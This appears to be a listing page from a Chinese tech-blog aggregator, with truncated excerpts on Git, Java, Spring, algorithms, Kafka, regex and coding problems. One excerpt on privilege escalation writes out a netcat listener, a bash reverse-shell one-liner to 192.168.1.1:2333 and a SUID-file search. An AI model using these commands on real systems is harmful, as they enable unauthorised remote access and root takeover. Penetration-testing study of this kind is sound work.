如何删除子模块? - How do I remove a submodule?

问题: How do I remove a Git submodule? 如何删除Git子模块? By the way, is there a reason I can't simply do git submodule rm whatever ? 顺便说一句,有一个原因我不能简单地做git submodule rm whatever吗? 解决方案: 参考一: https://stackoom.com/question/5Hye/如何删除子模块 参考二: https://oldbug.net/
分类: 其他 发布时间: 07-30 22:35 阅读次数: 0

博客园设置代码样式

链接:https://blog.csdn.net/weixin_30448603/article/details/99282041
分类: 其他 发布时间: 07-30 22:35 阅读次数: 0

Revit二次开发-ironpython调用dll

Revit二次开发-ironpython调用dll IronPython import clr clr.AddReferenceByPartialName("System.Windows.Forms") clr.AddReferenceByPartialName("System.Drawing") from System.Windows.Forms import * from System.Drawing import * clr.AddReferenceToFile(
分类: 其他 发布时间: 07-30 22:35 阅读次数: 0

【Java虚拟机6】Java内存模型(Java篇)

什么是Java内存模型 《Java虚拟机规范》中曾试图定义一种“Java内存模型”(Java Memory Model,JMM)来屏蔽各种硬件和操作系统的内存访问差异,以实现让Java程序在各种平台下都能达到一致的内存访问效果。 在此之前,主流程序语言(如C和C++等)直接使用物理硬件和操作系统的内存模型。因此,由于不同平台上内存模型的差异,有可能导致程序在一套平台上并发完全正常,而在另外一套平台上并发访问却经常出错,所以在某些场景下必须针对不同的平台来编写程序。 定义Java内存模型并非一件
分类: 其他 发布时间: 07-30 22:35 阅读次数: 0

Java第二十二天

根据学习手册学习了Java的文件操作,file类,编写了hello.java ,明天学习目录管理
分类: 其他 发布时间: 07-30 22:35 阅读次数: 0

提权以及反弹shell一些方法

提权以及反弹shell netcat反弹shell kali中使用nc(netcat)进行监听 用法 : nv -lvvp 2333(端口号) 靶机中使用 bash -c 'bash -i >&/dev/tcp/192.168.1.1/2333 0>&1' 同样可以写成一句话木马进行反弹shell。 命令提权 1、使用suid提权,找到一个属于root的具有s权限的文件;s是提权符  find / -user root -perm -4000 -print 2>/dev/null  find
分类: 其他 发布时间: 07-30 22:35 阅读次数: 0

我的第一个Spring程序_HelloSpring

我的第一个Spring程序_HelloSpring 导入spring-webmvc依赖包 创建Hello实体类 创建applicationContext.xml配置类 实例化容器 1、导入Spring 依赖包,为了方便可直接导入spring-webmvc的依赖 <!-- https://mvnrepository.com/artifact/org.springframework/spring-webmvc --> <dependency> <groupId>org.springfram
分类: 其他 发布时间: 07-30 22:35 阅读次数: 0

基础的几种算法总结

首先是两种排序方法,归并排序和快速排序。 归并排序的思想就是分治,分而治之,分的策略是:将一个数组从中间切开,左右两部分继续对半分,直到分到只包含一个元素即可。 合的策略是:将两个各自排好序的数组合并为一个新的排好序的数组。为什么说两个数组是各自排好序的呢?从最小的单元--一个元素看起,显然是有序的。只要从一到二的过程保证有序,那么从二到四.....自然都是有序数组之间的合并。 代码如下: #include "iostream" using namespace std; //[start, m
分类: 其他 发布时间: 07-30 22:35 阅读次数: 0

Python学习手册第4版 中文PDF版|网盘下载内附地址

本书是学习Python编程语言的入门书籍。Python是一种很流行的开源编程语言,可以在各种领域中用于编写独立的程序和脚本。Python免费、可移植、功能强大,而且使用起来相当容易。来自软件产业各个角落的程序员都已经发现,Python对于开发者效率和软件质量的关注,这无论在大项目还是小项目中都是一个战略性的优点。 无论你是编程初学者,还是专业开发人员,本书的目标是让你快速掌握核心Python语言基础。阅读本书后,你会对Python有足够的了解,能够将其应用于所从事的领域中。 本书设计成一本教程
分类: 其他 发布时间: 07-30 22:35 阅读次数: 0

Hackthebox-AD系列[域渗透]

如下链接由热心网友提供的htb上的ad机器可以专项练习 https://www.reddit.com/r/hackthebox/comments/g4yz74/list_of_active_directory_machines_on_hackthebox/
分类: 其他 发布时间: 07-30 22:35 阅读次数: 0

django学习第十五天

基于form组件和modelform组件改造图书管理系统 详情可以去图书管理系统分类中查看 基于form组件和modelform组件改造图书管理系统 modelform的补充 class BookModelForm(forms.ModleForm): #书籍的名称没有最小长度的校验,那么我们就可以自己自定义在下面这么写,那么它就会替换modelform帮我们自动生成的form属性 title = forms.CharField(max
分类: 其他 发布时间: 07-30 22:35 阅读次数: 0

为什么 macx.cn 网站无法使用mac下的firefox打开

正在试图写一个ssl的检测工具 doit-ssl-checker , 顺便使用工具对 https://www.macx.cn 进行测试. 居然返回错误! # yongfu @ yfmac in ~/git/gitee.com/RickieL/doit-ssl-checker on git:master x [20:45:41]  $ go run main.go -d www.macx.cn -l [error]: x509: certificate signed by unknown aut
分类: 其他 发布时间: 07-30 22:35 阅读次数: 0

树莓派4B使用docker安装kafka和kafka-manger

本次实践将zookeeper、kafka和kafka-manager安装在同一台树莓派4B上,树莓派的IP设置为192.168.5.21,读者可以根据实际情况调整自己的运行容器参数。 硬件:Raspberry Pi 4B(4g或8g版本) 系统:Ubuntu 20.04 LTS Docker:18.09.9 zookeeper镜像:pi4k8s/k8szk:v3.4.14 kafka镜像: iecedge/cp-kafka-arm64:5.0.1 kafka-manger镜像: pi4k8s/
分类: 其他 发布时间: 07-30 22:35 阅读次数: 0

python自动从arxiv下载paper

#!/usr/bin/env python # -*- coding: utf-8 -*- # @Time : 2020/02/11 21:44 # @Author : dangxusheng # @Email : [email protected] # @File : download_by_href.py ''' 自动从arxiv.org 下载文献 ''' import os import os.path as osp import requests from
分类: 其他 发布时间: 07-30 22:35 阅读次数: 0

[CF从零单排#21]339B - Xenia and Ringroad

题目来源:http://codeforces.com/problemset/problem/339/B Xenia lives in a city that has n houses built along the main ringroad. The ringroad houses are numbered 1 through n in the clockwise order. The ringroad traffic is one way and also is clockwise. Xe
分类: 其他 发布时间: 07-30 22:35 阅读次数: 0

quartus之rom的IP测试

quartus之rom的IP测试 1、rom的作用 rom,就是只读存储器,内部数据在下载电路时就已经确认,不能使用信号驱动更改,只能够读取,一般用于比较重要的配置数据。在quartus中,可以直接调用IP核实现该操作。配置文件有hex和mif两种,都可以实现数据的写入。 2、测试方法 测试代码: `timescale 1ns/1ns module rom_tb; reg clk; reg rst_n; wire [7:0] data; rom U1_tb(
分类: 其他 发布时间: 07-30 22:35 阅读次数: 0

Python程序设计pdf|网盘下载内附提取码

点击此处下载 提取码:5o7z 本书提出了以理解和运用计算生态为目标的Python语言教学思想,不仅系统讲解了Python语言语法,同时介绍了从数据理解到图像处理的14个Python函数库,向初学Python语言的读者展示了全新的编程语言学习路径。 全书一共设计了25个非常具有现代感的实例,从绘制蟒蛇、理解天天向上的力量到机器学习、网络爬虫,从文本进度条、统计名著人物重要性到图像手绘效果、雷达图绘制,绝大多数实例为作者原创,将随着内容深入不断激发读者学习Python语言的热情,因为“编程是件很
分类: 其他 发布时间: 07-30 22:35 阅读次数: 0

leetcode-----132. 分割回文串 II

链接:https://leetcode-cn.com/problems/palindrome-partitioning-ii/ 代码 /* * @lc app=leetcode.cn id=132 lang=cpp * * [132] 分割回文串 II * dp: s[1-i]的所有分割方案最小化 */ // @lc code=start class Solution { public: int minCut(string s) { int n = s.si
分类: 其他 发布时间: 07-30 22:35 阅读次数: 0

day20:正则表达式

单个字符的匹配 findall(正则表达式,字符串) 把符合正则表达式的字符串存在列表中返回 预定义字符集(8) \d 匹配数字 \D 匹配非数字 \w 匹配数字字母下划线 \W 匹配非数字或字母或下划线 \s 匹配任意的空白符 \S 匹配任意的非空白符 \n 匹配一个换行符 \t 匹配一个制表符 # ### 预定义字符集 # \d 匹配数字 strvar = "sdfsdf*(&*(&(2ui3" lst = re.findall("\d",strvar) print(lst) # \D
分类: 其他 发布时间: 07-30 22:35 阅读次数: 0

整形数组合并(HJ80)

这道题目和leetcode88 合并2个有序数组有点类似,可以放在一起练习。 C++代码如下: #include<iostream> #include<vector> #include <set> #include <algorithm> using namespace std; int main() { int m = 0; while (cin >> m) { set<int> set; int temp = 0;
分类: 其他 发布时间: 07-30 22:35 阅读次数: 0